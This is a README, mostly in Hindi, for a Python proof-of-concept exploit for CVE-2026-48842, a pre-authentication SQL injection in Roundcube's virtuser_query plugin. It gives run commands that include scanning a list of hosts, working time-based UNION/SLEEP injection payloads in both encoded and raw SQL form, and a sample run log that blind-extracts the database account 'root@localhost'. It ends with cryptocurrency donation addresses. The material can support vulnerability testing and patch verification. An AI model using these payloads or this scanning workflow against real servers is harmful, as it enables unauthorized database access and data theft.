
CVE-2026-48842 के लिए Python PoC, जो Roundcube के virtuser_query plugin में pre-auth SQL injection है। time-based differential के माध्यम से इस flaw की पुष्टि करता है और DB account को blind-read करता है।
virtuser_query प्री-ऑथ SQLiCVE-2026-48842 के लिए PoC, जो Roundcube Webmail के वैकल्पिक
virtuser_query प्लगइन में एक प्री-ऑथ SQL इंजेक्शन है।
यह टूल दो काम करता है और दोनों में से किसी के बारे में अनुमान लगाने से इनकार करता है:
--dumpdbuser के ज़रिए लक्ष्य से डेटाबेस अकाउंट पढ़कर।यह हर probe द्वारा उत्पन्न सटीक SQL प्रिंट करता है, ताकि असफल या अनिर्णायक परिणाम को कभी भी निष्कर्ष के रूप में प्रस्तुत न किया जाए।
| CVE | CVE-2026-48842 |
| प्रकार | CWE-89 — SQL इंजेक्शन |
| घटक | plugins/virtuser_query/virtuser_query.php (डिफ़ॉल्ट रूप से सक्षम नहीं) |
| प्रभावित | Roundcube 1.6.x < 1.6.16, 1.7.x < 1.7.1 |
| ठीक किया गया | 1.6.16, 1.7.1 |
requestspip install requests
python cve_2026_48842_poc.py https://mail.example.tld
python cve_2026_48842_poc.py https://mail.example.tld --dumpdbuser
python cve_2026_48842_poc.py https://mail.example.tld -d 3 --dumpdbuser
python cve_2026_48842_poc.py --list hosts.txt
python cve_2026_48842_poc.py --list hosts.txt -d 3
| तर्क | विवरण | डिफ़ॉल्ट |
|---|---|---|
target | Roundcube बेस URL, जैसे https://mail.example.tld या http://host/roundcube | — |
-l, --list FILE | फ़ाइल जिसमें प्रति पंक्ति एक लक्ष्य URL हो। # टिप्पणी शुरू करता है। | — |
-d, --delay N | प्रति oracle probe SLEEP सेकंड | 7 |
--dumpdbuser | इंजेक्शन की पुष्टि होने पर CURRENT_USER() को ब्लाइंड-रीड करें | बंद |
-h, --help | सहायता दिखाएँ | — |
स्थानीय Roundcube 1.6.15 के विरुद्ध वास्तविक रन:
[*] http://127.0.0.1/roundcube
version=1.6.15 noise_floor=0.071s _token=yes
[1] detection injected=True delta(true-false)=6.026s delta(true-baseline)=6.015s threshold=1.8s
baseline 0.083s http=401 sql_error=None
_user=poc_baseline_user_9f2a
SQL 1.6.15: SELECT host FROM virtuser WHERE user='poc_baseline_user_9f2a'
artifact_unterminated 0.09s http=401 sql_error=None
_user=a%5C
SQL 1.6.15: SELECT host FROM virtuser WHERE user='a\'
injected_true 6.098s http=401 sql_error=None
_user=%5C%27+UNION+SELECT+IF%281%3D1%2CSLEEP%283%29%2C0%29--+-
SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=1,SLEEP(3),0)-- -'
injected_false 0.072s http=401 sql_error=None
_user=%5C%27+UNION+SELECT+IF%281%3D2%2CSLEEP%283%29%2C0%29--+-
SQL 1.6.15: SELECT host FROM virtuser WHERE user='\\' UNION SELECT IF(1=2,SLEEP(3),0)-- -'
[2] blind read of the database account (~42s per byte, no quotes used)
subquery: SELECT CURRENT_USER()
length=14 bytes
[ 1/14] 'r' [ 2/14] 'ro' [ 3/14] 'roo' [ 4/14] 'root'
[ 5/14] 'root@' [ 6/14] 'root@l' [ 7/14] 'root@lo' [ 8/14] 'root@loc'
[ 9/14] 'root@loca' [ 10/14] 'root@local' [ 11/14] 'root@localh'
[ 12/14] 'root@localho' [ 13/14] 'root@localhos' [ 14/14] 'root@localhost'
[+] database account = 'root@localhost'
यदि इस प्रोजेक्ट ने आपकी मदद की, तो इसके विकास में सहयोग देने पर विचार करें:
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE
